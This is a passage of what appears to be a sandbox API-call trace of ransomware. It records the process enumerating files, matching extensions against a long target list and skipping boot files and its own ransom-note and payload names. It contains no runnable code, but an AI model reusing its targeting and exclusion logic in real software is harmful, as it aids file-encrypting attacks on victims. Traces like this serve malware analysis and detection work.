lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.556] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.556] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.558] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.558] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.559] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.561] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.562] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.564] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.564] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.566] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.566] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.567] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.569] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.571] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.573] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.574] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.574] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.576] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.577] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.579] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.581] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.581] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.583] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.699] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.699] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.699] lstrlenW (lpString="index.html") returned 10 [0139.699] lstrlenW (lpString=".1cd") returned 4 [0139.699] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0139.699] lstrlenW (lpString=".3ds") returned 4 [0139.699] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0139.699] lstrlenW (lpString=".3fr") returned 4 [0139.699] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0139.699] lstrlenW (lpString=".3g2") returned 4 [0139.699] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0139.699] lstrlenW (lpString=".3gp") returned 4 [0139.699] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0139.699] lstrlenW (lpString=".7z") returned 3 [0139.699] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0139.699] lstrlenW (lpString=".accda") returned 6 [0139.699] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".accdb") returned 6 [0139.700] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".accdc") returned 6 [0139.700] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".accde") returned 6 [0139.700] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".accdt") returned 6 [0139.700] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".accdw") returned 6 [0139.700] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0139.700] lstrlenW (lpString=".adb") returned 4 [0139.700] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".adp") returned 4 [0139.700] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai") returned 3 [0139.700] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0139.700] lstrlenW (lpString=".ai3") returned 4 [0139.700] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai4") returned 4 [0139.700] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai5") returned 4 [0139.700] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai6") returned 4 [0139.700] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai7") returned 4 [0139.700] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".ai8") returned 4 [0139.700] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".anim") returned 5 [0139.700] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0139.700] lstrlenW (lpString=".arw") returned 4 [0139.700] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0139.700] lstrlenW (lpString=".as") returned 3 [0139.700] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0139.701] lstrlenW (lpString=".asa") returned 4 [0139.701] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".asc") returned 4 [0139.701] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".ascx") returned 5 [0139.701] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0139.701] lstrlenW (lpString=".asm") returned 4 [0139.701] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".asmx") returned 5 [0139.701] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0139.701] lstrlenW (lpString=".asp") returned 4 [0139.701] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".aspx") returned 5 [0139.701] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0139.701] lstrlenW (lpString=".asr") returned 4 [0139.701] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".asx") returned 4 [0139.701] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".avi") returned 4 [0139.701] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".avs") returned 4 [0139.701] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".backup") returned 7 [0139.701] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0139.701] lstrlenW (lpString=".bak") returned 4 [0139.701] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".bay") returned 4 [0139.701] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".bd") returned 3 [0139.701] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0139.701] lstrlenW (lpString=".bin") returned 4 [0139.701] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0139.701] lstrlenW (lpString=".bmp") returned 4 [0139.701] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".bz2") returned 4 [0139.702] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".c") returned 2 [0139.702] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0139.702] lstrlenW (lpString=".cdr") returned 4 [0139.702] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cer") returned 4 [0139.702] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cf") returned 3 [0139.702] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0139.702] lstrlenW (lpString=".cfc") returned 4 [0139.702] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cfm") returned 4 [0139.702] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cfml") returned 5 [0139.702] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0139.702] lstrlenW (lpString=".cfu") returned 4 [0139.702] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".chm") returned 4 [0139.702] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cin") returned 4 [0139.702] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".class") returned 6 [0139.702] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0139.702] lstrlenW (lpString=".clx") returned 4 [0139.702] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".config") returned 7 [0139.702] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0139.702] lstrlenW (lpString=".cpp") returned 4 [0139.702] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".cr2") returned 4 [0139.702] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".crt") returned 4 [0139.702] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0139.702] lstrlenW (lpString=".crw") returned 4 [0139.703] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".cs") returned 3 [0139.703] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0139.703] lstrlenW (lpString=".css") returned 4 [0139.703] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".csv") returned 4 [0139.703] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".cub") returned 4 [0139.703] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dae") returned 4 [0139.703] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dat") returned 4 [0139.703] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".db") returned 3 [0139.703] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0139.703] lstrlenW (lpString=".dbf") returned 4 [0139.703] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dbx") returned 4 [0139.703] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dc3") returned 4 [0139.703] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dcm") returned 4 [0139.703] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dcr") returned 4 [0139.703] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".der") returned 4 [0139.703] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0139.703] lstrlenW (lpString=".dib") returned 4 [0139.703] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dic") returned 4 [0139.706] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dif") returned 4 [0139.706] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".divx") returned 5 [0139.706] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".djvu") returned 5 [0139.706] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".dng") returned 4 [0139.706] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".doc") returned 4 [0139.706] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".docm") returned 5 [0139.706] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".docx") returned 5 [0139.706] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".dot") returned 4 [0139.706] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dotm") returned 5 [0139.706] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".dotx") returned 5 [0139.706] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0139.706] lstrlenW (lpString=".dpx") returned 4 [0139.706] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dqy") returned 4 [0139.706] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dsn") returned 4 [0139.706] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dt") returned 3 [0139.706] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0139.706] lstrlenW (lpString=".dtd") returned 4 [0139.706] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0139.706] lstrlenW (lpString=".dwg") returned 4 [0139.707] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".dwt") returned 4 [0139.707] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".dx") returned 3 [0139.707] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0139.707] lstrlenW (lpString=".dxf") returned 4 [0139.707] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".edml") returned 5 [0139.707] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0139.707] lstrlenW (lpString=".efd") returned 4 [0139.707] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".elf") returned 4 [0139.707] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".emf") returned 4 [0139.707] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".emz") returned 4 [0139.707] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".epf") returned 4 [0139.707] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".eps") returned 4 [0139.707] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".epsf") returned 5 [0139.707] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0139.707] lstrlenW (lpString=".epsp") returned 5 [0139.707] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0139.707] lstrlenW (lpString=".erf") returned 4 [0139.707] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".exr") returned 4 [0139.707] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0139.707] lstrlenW (lpString=".f4v") returned 4 [0139.707] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".fido") returned 5 [0139.708] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0139.708] lstrlenW (lpString=".flm") returned 4 [0139.708] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".flv") returned 4 [0139.708] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".frm") returned 4 [0139.708] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".fxg") returned 4 [0139.708] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".geo") returned 4 [0139.708] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".gif") returned 4 [0139.708] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".grs") returned 4 [0139.708] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".gz") returned 3 [0139.708] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0139.708] lstrlenW (lpString=".h") returned 2 [0139.708] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0139.708] lstrlenW (lpString=".hdr") returned 4 [0139.708] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".hpp") returned 4 [0139.708] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".hta") returned 4 [0139.708] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".htc") returned 4 [0139.708] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".htm") returned 4 [0139.708] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0139.708] lstrlenW (lpString=".html") returned 5 [0139.708] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0139.708] lstrlenW (lpString="index.html") returned 10 [0139.709] lstrlenW (lpString=".btix") returned 5 [0139.709] lstrcmpiW (lpString1=".btix", lpString2=".html") returned -1 [0139.709] lstrlenW (lpString="index.html") returned 10 [0139.709] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0139.709] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0139.709] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0139.709] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0139.709] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0139.709] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0139.709] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0139.709] lstrcmpiW (lpString1="payload.exe", lpString2="index.html") returned 1 [0139.709] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html") returned 111 [0139.709] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.709] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0139.709] lstrlenW (lpString=".1cd") returned 4 [0139.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.709] lstrlenW (lpString=".3ds") returned 4 [0139.709] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0139.709] lstrlenW (lpString=".3fr") returned 4 [0139.709] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0139.709] lstrlenW (lpString=".3g2") returned 4 [0139.709] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0139.709] lstrlenW (lpString=".3gp") returned 4 [0139.709] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0139.709] lstrlenW (lpString=".7z") returned 3 [0139.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.709] lstrlenW (lpString=".accda") returned 6 [0139.709] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0139.709] lstrlenW (lpString=".accdb") returned 6 [0139.709] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0139.709] lstrlenW (lpString=".accdc") returned 6 [0139.709] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0139.709] lstrlenW (lpString=".accde") returned 6 [0139.710] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0139.710] lstrlenW (lpString=".accdt") returned 6 [0139.710] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0139.710] lstrlenW (lpString=".accdw") returned 6 [0139.710] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0139.710] lstrlenW (lpString=".adb") returned 4 [0139.710] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".adp") returned 4 [0139.710] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai") returned 3 [0139.710] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0139.710] lstrlenW (lpString=".ai3") returned 4 [0139.710] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai4") returned 4 [0139.710] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai5") returned 4 [0139.710] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai6") returned 4 [0139.710] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai7") returned 4 [0139.710] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ai8") returned 4 [0139.710] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".anim") returned 5 [0139.710] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0139.710] lstrlenW (lpString=".arw") returned 4 [0139.710] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".as") returned 3 [0139.710] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0139.710] lstrlenW (lpString=".asa") returned 4 [0139.710] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".asc") returned 4 [0139.710] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0139.710] lstrlenW (lpString=".ascx") returned 5 [0139.711] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0139.711] lstrlenW (lpString=".asm") returned 4 [0139.711] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".asmx") returned 5 [0139.711] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0139.711] lstrlenW (lpString=".asp") returned 4 [0139.711] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".aspx") returned 5 [0139.711] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0139.711] lstrlenW (lpString=".asr") returned 4 [0139.711] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".asx") returned 4 [0139.711] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".avi") returned 4 [0139.711] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".avs") returned 4 [0139.711] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".backup") returned 7 [0139.711] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0139.711] lstrlenW (lpString=".bak") returned 4 [0139.711] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".bay") returned 4 [0139.711] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".bd") returned 3 [0139.711] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0139.711] lstrlenW (lpString=".bin") returned 4 [0139.711] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".bmp") returned 4 [0139.711] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".bz2") returned 4 [0139.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".c") returned 2 [0139.711] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0139.711] lstrlenW (lpString=".cdr") returned 4 [0139.711] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0139.711] lstrlenW (lpString=".cer") returned 4 [0139.712] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cf") returned 3 [0139.712] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0139.712] lstrlenW (lpString=".cfc") returned 4 [0139.712] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cfm") returned 4 [0139.712] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cfml") returned 5 [0139.712] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0139.712] lstrlenW (lpString=".cfu") returned 4 [0139.712] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".chm") returned 4 [0139.712] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cin") returned 4 [0139.712] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".class") returned 6 [0139.712] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0139.712] lstrlenW (lpString=".clx") returned 4 [0139.712] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".config") returned 7 [0139.712] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0139.712] lstrlenW (lpString=".cpp") returned 4 [0139.712] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cr2") returned 4 [0139.712] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".crt") returned 4 [0139.712] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".crw") returned 4 [0139.712] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cs") returned 3 [0139.712] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0139.712] lstrlenW (lpString=".css") returned 4 [0139.712] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".csv") returned 4 [0139.712] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".cub") returned 4 [0139.712] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0139.712] lstrlenW (lpString=".dae") returned 4 [0139.713] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dat") returned 4 [0139.713] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".db") returned 3 